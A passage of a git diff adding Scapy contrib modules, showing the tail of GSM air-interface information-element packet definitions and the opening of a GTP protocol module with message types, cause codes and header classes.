+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(1, 22, a, self.fields_desc, 1)
+        if self.lengthRPS is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class RepeatIndicator(Packet):
+    """Repeat indicator Section 10.5.4.22"""
+    name = "Repeat Indicator"
+    fields_desc = [
+             BitField("repeatIndic", 0x0, 4)
+             ]
+
+
+# no upper length min 2(max for L3) (251)
+class SetupContainer(Packet):
+    """SETUP Container $(CCBS)$ Section 10.5.4.22b"""
+    name = "Setup Container $(CCBS)$"
+    fields_desc = [
+             XByteField("lengthSC", None),
+             # optional
+             ByteField("mess1", None),
+             ByteField("mess2", None),
+             ByteField("mess3", None),
+             ByteField("mess4", None),
+             ByteField("mess5", None),
+             ByteField("mess6", None),
+             ByteField("mess7", None),
+             ByteField("mess8", None),
+             ByteField("mess9", None),
+             ByteField("mess10", None),
+             ByteField("mess11", None),
+             ByteField("mess12", None),
+             ByteField("mess13", None),
+             ByteField("mess14", None),
+             ByteField("mess15", None),
+             ByteField("mess16", None),
+             ByteField("mess17", None),
+             ByteField("mess18", None),
+             ByteField("mess19", None),
+             ByteField("mess20", None),
+             ByteField("mess21", None),
+             ByteField("mess22", None),
+             ByteField("mess23", None),
+             ByteField("mess24", None),
+             ByteField("mess25", None),
+             ByteField("mess26", None),
+             ByteField("mess27", None),
+             ByteField("mess28", None),
+             ByteField("mess29", None),
+             ByteField("mess30", None),
+             ByteField("mess31", None),
+             ByteField("mess32", None),
+             ByteField("mess33", None),
+             ByteField("mess34", None),
+             ByteField("mess35", None),
+             ByteField("mess36", None),
+             ByteField("mess37", None),
+             ByteField("mess38", None),
+             ByteField("mess39", None),
+             ByteField("mess40", None),
+             ByteField("mess41", None),
+             ByteField("mess42", None),
+             ByteField("mess43", None),
+             ByteField("mess44", None),
+             ByteField("mess45", None),
+             ByteField("mess46", None),
+             ByteField("mess47", None),
+             ByteField("mess48", None),
+             ByteField("mess49", None),
+             ByteField("mess50", None),
+             ByteField("mess51", None),
+             ByteField("mess52", None),
+             ByteField("mess53", None),
+             ByteField("mess54", None),
+             ByteField("mess55", None),
+             ByteField("mess56", None),
+             ByteField("mess57", None),
+             ByteField("mess58", None),
+             ByteField("mess59", None),
+             ByteField("mess60", None),
+             ByteField("mess61", None),
+             ByteField("mess62", None),
+             ByteField("mess63", None),
+             ByteField("mess64", None),
+             ByteField("mess65", None),
+             ByteField("mess66", None),
+             ByteField("mess67", None),
+             ByteField("mess68", None),
+             ByteField("mess69", None),
+             ByteField("mess70", None),
+             ByteField("mess71", None),
+             ByteField("mess72", None),
+             ByteField("mess73", None),
+             ByteField("mess74", None),
+             ByteField("mess75", None),
+             ByteField("mess76", None),
+             ByteField("mess77", None),
+             ByteField("mess78", None),
+             ByteField("mess79", None),
+             ByteField("mess80", None),
+             ByteField("mess81", None),
+             ByteField("mess82", None),
+             ByteField("mess83", None),
+             ByteField("mess84", None),
+             ByteField("mess85", None),
+             ByteField("mess86", None),
+             ByteField("mess87", None),
+             ByteField("mess88", None),
+             ByteField("mess89", None),
+             ByteField("mess90", None),
+             ByteField("mess91", None),
+             ByteField("mess92", None),
+             ByteField("mess93", None),
+             ByteField("mess94", None),
+             ByteField("mess95", None),
+             ByteField("mess96", None),
+             ByteField("mess97", None),
+             ByteField("mess98", None),
+             ByteField("mess99", None),
+             ByteField("mess100", None),
+             ByteField("mess101", None),
+             ByteField("mess102", None),
+             ByteField("mess103", None),
+             ByteField("mess104", None),
+             ByteField("mess105", None),
+             ByteField("mess106", None),
+             ByteField("mess107", None),
+             ByteField("mess108", None),
+             ByteField("mess109", None),
+             ByteField("mess110", None),
+             ByteField("mess111", None),
+             ByteField("mess112", None),
+             ByteField("mess113", None),
+             ByteField("mess114", None),
+             ByteField("mess115", None),
+             ByteField("mess116", None),
+             ByteField("mess117", None),
+             ByteField("mess118", None),
+             ByteField("mess119", None),
+             ByteField("mess120", None),
+             ByteField("mess121", None),
+             ByteField("mess122", None),
+             ByteField("mess123", None),
+             ByteField("mess124", None),
+             ByteField("mess125", None),
+             ByteField("mess126", None),
+             ByteField("mess127", None),
+             ByteField("mess128", None),
+             ByteField("mess129", None),
+             ByteField("mess130", None),
+             ByteField("mess131", None),
+             ByteField("mess132", None),
+             ByteField("mess133", None),
+             ByteField("mess134", None),
+             ByteField("mess135", None),
+             ByteField("mess136", None),
+             ByteField("mess137", None),
+             ByteField("mess138", None),
+             ByteField("mess139", None),
+             ByteField("mess140", None),
+             ByteField("mess141", None),
+             ByteField("mess142", None),
+             ByteField("mess143", None),
+             ByteField("mess144", None),
+             ByteField("mess145", None),
+             ByteField("mess146", None),
+             ByteField("mess147", None),
+             ByteField("mess148", None),
+             ByteField("mess149", None),
+             ByteField("mess150", None),
+             ByteField("mess151", None),
+             ByteField("mess152", None),
+             ByteField("mess153", None),
+             ByteField("mess154", None),
+             ByteField("mess155", None),
+             ByteField("mess156", None),
+             ByteField("mess157", None),
+             ByteField("mess158", None),
+             ByteField("mess159", None),
+             ByteField("mess160", None),
+             ByteField("mess161", None),
+             ByteField("mess162", None),
+             ByteField("mess163", None),
+             ByteField("mess164", None),
+             ByteField("mess165", None),
+             ByteField("mess166", None),
+             ByteField("mess167", None),
+             ByteField("mess168", None),
+             ByteField("mess169", None),
+             ByteField("mess170", None),
+             ByteField("mess171", None),
+             ByteField("mess172", None),
+             ByteField("mess173", None),
+             ByteField("mess174", None),
+             ByteField("mess175", None),
+             ByteField("mess176", None),
+             ByteField("mess177", None),
+             ByteField("mess178", None),
+             ByteField("mess179", None),
+             ByteField("mess180", None),
+             ByteField("mess181", None),
+             ByteField("mess182", None),
+             ByteField("mess183", None),
+             ByteField("mess184", None),
+             ByteField("mess185", None),
+             ByteField("mess186", None),
+             ByteField("mess187", None),
+             ByteField("mess188", None),
+             ByteField("mess189", None),
+             ByteField("mess190", None),
+             ByteField("mess191", None),
+             ByteField("mess192", None),
+             ByteField("mess193", None),
+             ByteField("mess194", None),
+             ByteField("mess195", None),
+             ByteField("mess196", None),
+             ByteField("mess197", None),
+             ByteField("mess198", None),
+             ByteField("mess199", None),
+             ByteField("mess200", None),
+             ByteField("mess201", None),
+             ByteField("mess202", None),
+             ByteField("mess203", None),
+             ByteField("mess204", None),
+             ByteField("mess205", None),
+             ByteField("mess206", None),
+             ByteField("mess207", None),
+             ByteField("mess208", None),
+             ByteField("mess209", None),
+             ByteField("mess210", None),
+             ByteField("mess211", None),
+             ByteField("mess212", None),
+             ByteField("mess213", None),
+             ByteField("mess214", None),
+             ByteField("mess215", None),
+             ByteField("mess216", None),
+             ByteField("mess217", None),
+             ByteField("mess218", None),
+             ByteField("mess219", None),
+             ByteField("mess220", None),
+             ByteField("mess221", None),
+             ByteField("mess222", None),
+             ByteField("mess223", None),
+             ByteField("mess224", None),
+             ByteField("mess225", None),
+             ByteField("mess226", None),
+             ByteField("mess227", None),
+             ByteField("mess228", None),
+             ByteField("mess229", None),
+             ByteField("mess230", None),
+             ByteField("mess231", None),
+             ByteField("mess232", None),
+             ByteField("mess233", None),
+             ByteField("mess234", None),
+             ByteField("mess235", None),
+             ByteField("mess236", None),
+             ByteField("mess237", None),
+             ByteField("mess238", None),
+             ByteField("mess239", None),
+             ByteField("mess240", None),
+             ByteField("mess241", None),
+             ByteField("mess242", None),
+             ByteField("mess243", None),
+             ByteField("mess244", None),
+             ByteField("mess245", None),
+             ByteField("mess246", None),
+             ByteField("mess247", None),
+             ByteField("mess248", None),
+             ByteField("mess249", None),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(1, 250, a, self.fields_desc, 1)
+        if self.lengthSC is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class Signal(Packet):
+    """Signal Section 10.5.4.23"""
+    name = "Signal"
+    fields_desc = [
+             ByteField("sigValue", 0x0)
+             ]
+
+
+# length 2 to max for L3 message (251)
+class SsVersionIndicator(Packet):
+    """SS Version Indicator  Section 10.5.4.24"""
+    name = "SS Version Indicator"
+    fields_desc = [
+             XByteField("lengthSVI", None),
+             # optional
+             ByteField("info1", None),
+             ByteField("info2", None),
+             ByteField("info3", None),
+             ByteField("info4", None),
+             ByteField("info5", None),
+             ByteField("info6", None),
+             ByteField("info7", None),
+             ByteField("info8", None),
+             ByteField("info9", None),
+             ByteField("info10", None),
+             ByteField("info11", None),
+             ByteField("info12", None),
+             ByteField("info13", None),
+             ByteField("info14", None),
+             ByteField("info15", None),
+             ByteField("info16", None),
+             ByteField("info17", None),
+             ByteField("info18", None),
+             ByteField("info19", None),
+             ByteField("info20", None),
+             ByteField("info21", None),
+             ByteField("info22", None),
+             ByteField("info23", None),
+             ByteField("info24", None),
+             ByteField("info25", None),
+             ByteField("info26", None),
+             ByteField("info27", None),
+             ByteField("info28", None),
+             ByteField("info29", None),
+             ByteField("info30", None),
+             ByteField("info31", None),
+             ByteField("info32", None),
+             ByteField("info33", None),
+             ByteField("info34", None),
+             ByteField("info35", None),
+             ByteField("info36", None),
+             ByteField("info37", None),
+             ByteField("info38", None),
+             ByteField("info39", None),
+             ByteField("info40", None),
+             ByteField("info41", None),
+             ByteField("info42", None),
+             ByteField("info43", None),
+             ByteField("info44", None),
+             ByteField("info45", None),
+             ByteField("info46", None),
+             ByteField("info47", None),
+             ByteField("info48", None),
+             ByteField("info49", None),
+             ByteField("info50", None),
+             ByteField("info51", None),
+             ByteField("info52", None),
+             ByteField("info53", None),
+             ByteField("info54", None),
+             ByteField("info55", None),
+             ByteField("info56", None),
+             ByteField("info57", None),
+             ByteField("info58", None),
+             ByteField("info59", None),
+             ByteField("info60", None),
+             ByteField("info61", None),
+             ByteField("info62", None),
+             ByteField("info63", None),
+             ByteField("info64", None),
+             ByteField("info65", None),
+             ByteField("info66", None),
+             ByteField("info67", None),
+             ByteField("info68", None),
+             ByteField("info69", None),
+             ByteField("info70", None),
+             ByteField("info71", None),
+             ByteField("info72", None),
+             ByteField("info73", None),
+             ByteField("info74", None),
+             ByteField("info75", None),
+             ByteField("info76", None),
+             ByteField("info77", None),
+             ByteField("info78", None),
+             ByteField("info79", None),
+             ByteField("info80", None),
+             ByteField("info81", None),
+             ByteField("info82", None),
+             ByteField("info83", None),
+             ByteField("info84", None),
+             ByteField("info85", None),
+             ByteField("info86", None),
+             ByteField("info87", None),
+             ByteField("info88", None),
+             ByteField("info89", None),
+             ByteField("info90", None),
+             ByteField("info91", None),
+             ByteField("info92", None),
+             ByteField("info93", None),
+             ByteField("info94", None),
+             ByteField("info95", None),
+             ByteField("info96", None),
+             ByteField("info97", None),
+             ByteField("info98", None),
+             ByteField("info99", None),
+             ByteField("info100", None),
+             ByteField("info101", None),
+             ByteField("info102", None),
+             ByteField("info103", None),
+             ByteField("info104", None),
+             ByteField("info105", None),
+             ByteField("info106", None),
+             ByteField("info107", None),
+             ByteField("info108", None),
+             ByteField("info109", None),
+             ByteField("info110", None),
+             ByteField("info111", None),
+             ByteField("info112", None),
+             ByteField("info113", None),
+             ByteField("info114", None),
+             ByteField("info115", None),
+             ByteField("info116", None),
+             ByteField("info117", None),
+             ByteField("info118", None),
+             ByteField("info119", None),
+             ByteField("info120", None),
+             ByteField("info121", None),
+             ByteField("info122", None),
+             ByteField("info123", None),
+             ByteField("info124", None),
+             ByteField("info125", None),
+             ByteField("info126", None),
+             ByteField("info127", None),
+             ByteField("info128", None),
+             ByteField("info129", None),
+             ByteField("info130", None),
+             ByteField("info131", None),
+             ByteField("info132", None),
+             ByteField("info133", None),
+             ByteField("info134", None),
+             ByteField("info135", None),
+             ByteField("info136", None),
+             ByteField("info137", None),
+             ByteField("info138", None),
+             ByteField("info139", None),
+             ByteField("info140", None),
+             ByteField("info141", None),
+             ByteField("info142", None),
+             ByteField("info143", None),
+             ByteField("info144", None),
+             ByteField("info145", None),
+             ByteField("info146", None),
+             ByteField("info147", None),
+             ByteField("info148", None),
+             ByteField("info149", None),
+             ByteField("info150", None),
+             ByteField("info151", None),
+             ByteField("info152", None),
+             ByteField("info153", None),
+             ByteField("info154", None),
+             ByteField("info155", None),
+             ByteField("info156", None),
+             ByteField("info157", None),
+             ByteField("info158", None),
+             ByteField("info159", None),
+             ByteField("info160", None),
+             ByteField("info161", None),
+             ByteField("info162", None),
+             ByteField("info163", None),
+             ByteField("info164", None),
+             ByteField("info165", None),
+             ByteField("info166", None),
+             ByteField("info167", None),
+             ByteField("info168", None),
+             ByteField("info169", None),
+             ByteField("info170", None),
+             ByteField("info171", None),
+             ByteField("info172", None),
+             ByteField("info173", None),
+             ByteField("info174", None),
+             ByteField("info175", None),
+             ByteField("info176", None),
+             ByteField("info177", None),
+             ByteField("info178", None),
+             ByteField("info179", None),
+             ByteField("info180", None),
+             ByteField("info181", None),
+             ByteField("info182", None),
+             ByteField("info183", None),
+             ByteField("info184", None),
+             ByteField("info185", None),
+             ByteField("info186", None),
+             ByteField("info187", None),
+             ByteField("info188", None),
+             ByteField("info189", None),
+             ByteField("info190", None),
+             ByteField("info191", None),
+             ByteField("info192", None),
+             ByteField("info193", None),
+             ByteField("info194", None),
+             ByteField("info195", None),
+             ByteField("info196", None),
+             ByteField("info197", None),
+             ByteField("info198", None),
+             ByteField("info199", None),
+             ByteField("info200", None),
+             ByteField("info201", None),
+             ByteField("info202", None),
+             ByteField("info203", None),
+             ByteField("info204", None),
+             ByteField("info205", None),
+             ByteField("info206", None),
+             ByteField("info207", None),
+             ByteField("info208", None),
+             ByteField("info209", None),
+             ByteField("info210", None),
+             ByteField("info211", None),
+             ByteField("info212", None),
+             ByteField("info213", None),
+             ByteField("info214", None),
+             ByteField("info215", None),
+             ByteField("info216", None),
+             ByteField("info217", None),
+             ByteField("info218", None),
+             ByteField("info219", None),
+             ByteField("info220", None),
+             ByteField("info221", None),
+             ByteField("info222", None),
+             ByteField("info223", None),
+             ByteField("info224", None),
+             ByteField("info225", None),
+             ByteField("info226", None),
+             ByteField("info227", None),
+             ByteField("info228", None),
+             ByteField("info229", None),
+             ByteField("info230", None),
+             ByteField("info231", None),
+             ByteField("info232", None),
+             ByteField("info233", None),
+             ByteField("info234", None),
+             ByteField("info235", None),
+             ByteField("info236", None),
+             ByteField("info237", None),
+             ByteField("info238", None),
+             ByteField("info239", None),
+             ByteField("info240", None),
+             ByteField("info241", None),
+             ByteField("info242", None),
+             ByteField("info243", None),
+             ByteField("info244", None),
+             ByteField("info245", None),
+             ByteField("info246", None),
+             ByteField("info247", None),
+             ByteField("info248", None),
+             ByteField("info249", None),
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(1, 250, a, self.fields_desc, 1)
+        if self.lengthSVI is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+# length 3 to 35 or 131
+class UserUser(Packet):
+    """User-user Section 10.5.4.25"""
+    name = "User-User"
+    fields_desc = [
+
+             XByteField("lengthUU", None),  # dynamic length of field depending
+                                           # of the type of message
+                                           # let user decide which length he
+                                           # wants to take
+                                           # => more fuzzing options
+             ByteField("userUserPD", 0x0),
+             # optional
+             ByteField("userUserInfo1", None),
+             ByteField("userUserInfo2", None),
+             ByteField("userUserInfo3", None),
+             ByteField("userUserInfo4", None),
+             ByteField("userUserInfo5", None),
+             ByteField("userUserInfo6", None),
+             ByteField("userUserInfo7", None),
+             ByteField("userUserInfo8", None),
+             ByteField("userUserInfo9", None),
+             ByteField("userUserInfo10", None),
+             ByteField("userUserInfo11", None),
+             ByteField("userUserInfo12", None),
+             ByteField("userUserInfo13", None),
+             ByteField("userUserInfo14", None),
+             ByteField("userUserInfo15", None),
+             ByteField("userUserInfo16", None),
+             ByteField("userUserInfo17", None),
+             ByteField("userUserInfo18", None),
+             ByteField("userUserInfo19", None),
+             ByteField("userUserInfo20", None),
+             ByteField("userUserInfo21", None),
+             ByteField("userUserInfo22", None),
+             ByteField("userUserInfo23", None),
+             ByteField("userUserInfo24", None),
+             ByteField("userUserInfo25", None),
+             ByteField("userUserInfo26", None),
+             ByteField("userUserInfo27", None),
+             ByteField("userUserInfo28", None),
+             ByteField("userUserInfo29", None),
+             ByteField("userUserInfo30", None),
+             ByteField("userUserInfo31", None),
+             ByteField("userUserInfo32", None),
+             # long  packet
+             ByteField("userUserInfo33", None),
+             ByteField("userUserInfo34", None),
+             ByteField("userUserInfo35", None),
+             ByteField("userUserInfo36", None),
+             ByteField("userUserInfo37", None),
+             ByteField("userUserInfo38", None),
+             ByteField("userUserInfo39", None),
+             ByteField("userUserInfo40", None),
+             ByteField("userUserInfo41", None),
+             ByteField("userUserInfo42", None),
+             ByteField("userUserInfo43", None),
+             ByteField("userUserInfo44", None),
+             ByteField("userUserInfo45", None),
+             ByteField("userUserInfo46", None),
+             ByteField("userUserInfo47", None),
+             ByteField("userUserInfo48", None),
+             ByteField("userUserInfo49", None),
+             ByteField("userUserInfo50", None),
+             ByteField("userUserInfo51", None),
+             ByteField("userUserInfo52", None),
+             ByteField("userUserInfo53", None),
+             ByteField("userUserInfo54", None),
+             ByteField("userUserInfo55", None),
+             ByteField("userUserInfo56", None),
+             ByteField("userUserInfo57", None),
+             ByteField("userUserInfo58", None),
+             ByteField("userUserInfo59", None),
+             ByteField("userUserInfo60", None),
+             ByteField("userUserInfo61", None),
+             ByteField("userUserInfo62", None),
+             ByteField("userUserInfo63", None),
+             ByteField("userUserInfo64", None),
+             ByteField("userUserInfo65", None),
+             ByteField("userUserInfo66", None),
+             ByteField("userUserInfo67", None),
+             ByteField("userUserInfo68", None),
+             ByteField("userUserInfo69", None),
+             ByteField("userUserInfo70", None),
+             ByteField("userUserInfo71", None),
+             ByteField("userUserInfo72", None),
+             ByteField("userUserInfo73", None),
+             ByteField("userUserInfo74", None),
+             ByteField("userUserInfo75", None),
+             ByteField("userUserInfo76", None),
+             ByteField("userUserInfo77", None),
+             ByteField("userUserInfo78", None),
+             ByteField("userUserInfo79", None),
+             ByteField("userUserInfo80", None),
+             ByteField("userUserInfo81", None),
+             ByteField("userUserInfo82", None),
+             ByteField("userUserInfo83", None),
+             ByteField("userUserInfo84", None),
+             ByteField("userUserInfo85", None),
+             ByteField("userUserInfo86", None),
+             ByteField("userUserInfo87", None),
+             ByteField("userUserInfo88", None),
+             ByteField("userUserInfo89", None),
+             ByteField("userUserInfo90", None),
+             ByteField("userUserInfo91", None),
+             ByteField("userUserInfo92", None),
+             ByteField("userUserInfo93", None),
+             ByteField("userUserInfo94", None),
+             ByteField("userUserInfo95", None),
+             ByteField("userUserInfo96", None),
+             ByteField("userUserInfo97", None),
+             ByteField("userUserInfo98", None),
+             ByteField("userUserInfo99", None),
+             ByteField("userUserInfo100", None),
+             ByteField("userUserInfo101", None),
+             ByteField("userUserInfo102", None),
+             ByteField("userUserInfo103", None),
+             ByteField("userUserInfo104", None),
+             ByteField("userUserInfo105", None),
+             ByteField("userUserInfo106", None),
+             ByteField("userUserInfo107", None),
+             ByteField("userUserInfo108", None),
+             ByteField("userUserInfo109", None),
+             ByteField("userUserInfo110", None),
+             ByteField("userUserInfo111", None),
+             ByteField("userUserInfo112", None),
+             ByteField("userUserInfo113", None),
+             ByteField("userUserInfo114", None),
+             ByteField("userUserInfo115", None),
+             ByteField("userUserInfo116", None),
+             ByteField("userUserInfo117", None),
+             ByteField("userUserInfo118", None),
+             ByteField("userUserInfo119", None),
+             ByteField("userUserInfo120", None),
+             ByteField("userUserInfo121", None),
+             ByteField("userUserInfo122", None),
+             ByteField("userUserInfo123", None),
+             ByteField("userUserInfo124", None),
+             ByteField("userUserInfo125", None),
+             ByteField("userUserInfo126", None),
+             ByteField("userUserInfo127", None),
+             ByteField("userUserInfo128", None),
+             ByteField("userUserInfo129", None),
+             ByteField("userUserInfo130", None),
+             ByteField("userUserInfo131", None)
+             ]
+
+    def post_build(self, p, pay):
+        a = [getattr(self, fld.name) for fld in self.fields_desc]
+        res = adapt(2, 133, a, self.fields_desc, 1)
+        if self.lengthUU is None:
+            p = struct.pack(">B", res[1]) + p[1:]
+        if res[0] != 0:
+            p = p[:-res[0]]
+        return p + pay
+
+
+class AlertingPattern(Packet):
+    """Alerting Pattern 10.5.4.26"""
+    name = "Alerting Pattern"
+    fields_desc = [
+             XByteField("lengthAP", 0x3),
+             BitField("spare", 0x0, 4),
+             BitField("alertingValue", 0x0, 4)
+             ]
+
+
+class AllowedActions(Packet):
+    """Allowed actions $(CCBS)$ Section 10.5.4.26"""
+    name = "Allowed Actions $(CCBS)$"
+    fields_desc = [
+             XByteField("lengthAP", 0x3),
+             BitField("CCBS", 0x0, 1),
+             BitField("spare", 0x0, 7)
+             ]
+
+
+#
+# 10.5.5 GPRS mobility management information elements
+#
+
+
+class AttachType(Packet):
+    """Attach type Section 10.5.5.2"""
+    name = "Attach Type"
+    fields_desc = [
+             BitField("spare", 0x0, 1),
+             BitField("type", 0x1, 3)
+             ]
+
+
+if __name__ == "__main__":
+    from scapy.main import interact
+    interact(mydict=globals(), mybanner="Scapy GSM-UM (Air) Addon")
diff --git a/scapy/contrib/gtp.py b/scapy/contrib/gtp.py
new file mode 100644
index 0000000..963f31c
--- /dev/null
+++ b/scapy/contrib/gtp.py
@@ -0,0 +1,889 @@
+#! /usr/bin/env python
+
+## Copyright (C) 2017 Alexis Sultan    <alexis.sultan@sfr.com>
+##               2017 Alessio Deiana <adeiana@gmail.com>
+##               2014 Guillaume Valadon <guillaume.valadon@ssi.gouv.fr>
+##               2012 ffranz <ffranz@iniqua.com>
+##
+## This program is published under a GPLv2 license
+
+# scapy.contrib.description = GTP
+# scapy.contrib.status = loads
+
+from __future__ import absolute_import
+import time
+import logging
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import IP, UDP
+from scapy.layers.inet6 import IP6Field
+from scapy.error import warning
+from scapy.modules.six.moves import range
+from scapy.compat import chb, orb, plain_str
+
+# GTP Data types
+
+RATType = {
+    1: "UTRAN",
+    2: "GETRAN",
+    3: "WLAN",
+    4: "GAN",
+    5: "HSPA"
+}
+
+GTPmessageType = {   1: "echo_request",
+                     2: "echo_response",
+                    16: "create_pdp_context_req",
+                    17: "create_pdp_context_res",
+                    18: "update_pdp_context_req",
+                    19: "update_pdp_context_resp",
+                    20: "delete_pdp_context_req",
+                    21: "delete_pdp_context_res",
+                    26: "error_indication",
+                    27: "pdu_notification_req",
+                    31: "supported_extension_headers_notification",
+                   254: "end_marker",
+                   255: "g_pdu" }
+
+IEType = {   1: "Cause",
+             2: "IMSI",
+             3: "RAI",
+             4: "TLLI",
+             5: "P_TMSI",
+             8: "IE_ReorderingRequired",
+            14: "Recovery",
+            15: "SelectionMode",
+            16: "TEIDI",
+            17: "TEICP",
+            19: "TeardownInd",
+            20: "NSAPI",
+            26: "ChargingChrt",
+            27: "TraceReference",
+            28: "TraceType",
+           127: "ChargingId",
+           128: "EndUserAddress",
+           131: "AccessPointName",
+           132: "ProtocolConfigurationOptions",
+           133: "GSNAddress",
+           134: "MSInternationalNumber",
+           135: "QoS",
+           148: "CommonFlags",
+           149: "APNRestriction",
+           151: "RatType",
+           152: "UserLocationInformation",
+           153: "MSTimeZone",
+           154: "IMEI",
+           181: "MSInfoChangeReportingAction",
+           184: "BearerControlMode",
+           191: "EvolvedAllocationRetentionPriority",
+           255: "PrivateExtention"}
+
+CauseValues = {  0: "Request IMSI",
+                 1: "Request IMEI",
+                 2: "Request IMSI and IMEI",
+                 3: "No identity needed",
+                 4: "MS Refuses",
+                 5: "MS is not GPRS Responding",
+               128: "Request accepted",
+               129: "New PDP type due to network preference",
+               130: "New PDP type due to single address bearer only",
+               192: "Non-existent",
+               193: "Invalid message format",
+               194: "IMSI not known",
+               195: "MS is GPRS Detached",
+               196: "MS is not GPRS Responding",
+               197: "MS Refuses",
+               198: "Version not supported",
+               199: "No resources available",
+               200: "Service not supported",
+               201: "Mandatory IE incorrect",
+               202: "Mandatory IE missing",
+               203: "Optional IE incorrect",
+               204: "System failure",
+               205: "Roaming restriction",
+               206: "P-TMSI Signature mismatch",
+               207: "GPRS connection suspended",
+               208: "Authentication failure",
+               209: "User authentication failed",
+               210: "Context not found",
+               211: "All dynamic PDP addresses are occupied",
+               212: "No memory is available",
+               213: "Reallocation failure",
+               214: "Unknown mandatory extension header",
+               215: "Semantic error in the TFT operation",
+               216: "Syntactic error in TFT operation",
+               217: "Semantic errors in packet filter(s)",
+               218: "Syntactic errors in packet filter(s)",
+               219: "Missing or unknown APN",
+               220: "Unknown PDP address or PDP type",
+               221: "PDP context without TFT already activated",
+               222: "APN access denied : no subscription",
+               223: "APN Restriction type incompatibility with currently active PDP Contexts",
+               224: "MS MBMS Capabilities Insufficient",
+               225: "Invalid Correlation : ID",
+               226: "MBMS Bearer Context Superseded",
+               227: "Bearer Control Mode violation",
+               228: "Collision with network initiated request" }
+
+Selection_Mode = { 11111100: "MS or APN",
+                   11111101: "MS",
+                   11111110: "NET",
+                   11111111: "FutureUse" }
+
+TrueFalse_value = {254: "False",
+                   255: "True"}
+
+# http://www.arib.or.jp/IMT-2000/V720Mar09/5_Appendix/Rel8/29/29281-800.pdf
+ExtensionHeadersTypes = {
+        0: "No more extension headers",
+        1: "Reserved",
+        2: "Reserved",
+        64: "UDP Port",
+        192: "PDCP PDU Number",
+        193: "Reserved",
+        194: "Reserved"
+    }
+
+
+class TBCDByteField(StrFixedLenField):
+
+    def i2h(self, pkt, val):
+        return val
+
+    def m2i(self, pkt, val):
+        ret = []
+        for v in val:
+            byte = orb(v)
+            left = byte >> 4
+            right = byte & 0xf
+            if left == 0xf:
+                ret.append(TBCD_TO_ASCII[right:right + 1])
+            else:
+                ret += [TBCD_TO_ASCII[right:right + 1], TBCD_TO_ASCII[left:left + 1]]
+        return b"".join(ret)
+
+    def i2m(self, pkt, val):
+        val = str(val)
+        ret_string = ""
+        for i in range(0, len(val), 2):
+            tmp = val[i:i+2]
+            if len(tmp) == 2:
+              ret_string += chr(int(tmp[1] + tmp[0], 16))
+            else:
+              ret_string += chr(int("F" + tmp[0], 16))
+        return ret_string
+
+
+TBCD_TO_ASCII = b"0123456789*#abc"
+
+class GTP_ExtensionHeader(Packet):
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt == None:
+            return GTP_UDPPort_ExtensionHeader
+        return cls
+
+class GTP_UDPPort_ExtensionHeader(GTP_ExtensionHeader):
+    fields_desc=[ ByteField("length", 0x40),
+                  ShortField("udp_port", None),
+                  ByteEnumField("next_ex", 0, ExtensionHeadersTypes), ]
+
+class GTP_PDCP_PDU_ExtensionHeader(GTP_ExtensionHeader):
+    fields_desc=[ ByteField("length", 0x01),
+                  ShortField("pdcp_pdu", None),
+                  ByteEnumField("next_ex", 0, ExtensionHeadersTypes), ]
+    
+
+class GTPHeader(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP-C Header"
+    fields_desc=[ BitField("version", 1, 3),
+                  BitField("PT", 1, 1),
+                  BitField("reserved", 0, 1),
+                  BitField("E", 0, 1),
+                  BitField("S", 0, 1),
+                  BitField("PN", 0, 1),
+                  ByteEnumField("gtp_type", None, GTPmessageType),
+                  ShortField("length", None),
+                  IntField("teid", 0),
+                  ConditionalField(XBitField("seq", 0, 16), lambda pkt:pkt.E==1 or pkt.S==1 or pkt.PN==1),
+                  ConditionalField(ByteField("npdu", 0), lambda pkt:pkt.E==1 or pkt.S==1 or pkt.PN==1),
+                  ConditionalField(ByteEnumField("next_ex", 0, ExtensionHeadersTypes), lambda pkt:pkt.E==1 or pkt.S==1 or pkt.PN==1), ]
+
+    def post_build(self, p, pay):
+        p += pay
+        if self.length is None:
+            l = len(p)-8
+            p = p[:2] + struct.pack("!H", l)+ p[4:]
+        return p
+
+    def hashret(self):
+        return struct.pack("B", self.version) + self.payload.hashret()
+
+    def answers(self, other):
+        return (isinstance(other, GTPHeader) and
+                self.version == other.version and
+                self.payload.answers(other.payload))
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and len(_pkt) >= 1:
+            if (orb(_pkt[0]) >> 5) & 0x7 == 2:
+                from . import gtp_v2
+                return gtp_v2.GTPHeader
+        if _pkt and len(_pkt) >= 8:
+            _gtp_type = orb(_pkt[1:2])
+            return GTPforcedTypes.get(_gtp_type, GTPHeader)
+        return cls
+
+class GTP_U_Header(GTPHeader):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP-U Header"
+    # GTP-U protocol is used to transmit T-PDUs between GSN pairs (or between an SGSN and an RNC in UMTS), 
+    # encapsulated in G-PDUs. A G-PDU is a packet including a GTP-U header and a T-PDU. The Path Protocol 
+    # defines the path and the GTP-U header defines the tunnel. Several tunnels may be multiplexed on a single path.
+
+# Some gtp_types have to be associated with a certain type of header
+GTPforcedTypes = {
+    16: GTPHeader,
+    17: GTPHeader,
+    18: GTPHeader,
+    19: GTPHeader,
+    20: GTPHeader,
+    21: GTPHeader,
+    26: GTP_U_Header,
+    27: GTPHeader,
+    254: GTP_U_Header,
+    255: GTP_U_Header
+    }
+
+class GTPEchoRequest(Packet):
+    # 3GPP TS 29.060 V9.1.0 (2009-12)
+    name = "GTP Echo Request"
+
+    def hashret(self):
+        return struct.pack("H", self.seq)
+
+
+class IE_Base(Packet):
+
+    def extract_padding(self, pkt):
+        return "", pkt
+
+
+class IE_Cause(IE_Base):
+    name = "Cause"
+    fields_desc = [ByteEnumField("ietype", 1, IEType),
+                   ByteEnumField("CauseValue", None, CauseValues)]
+
+
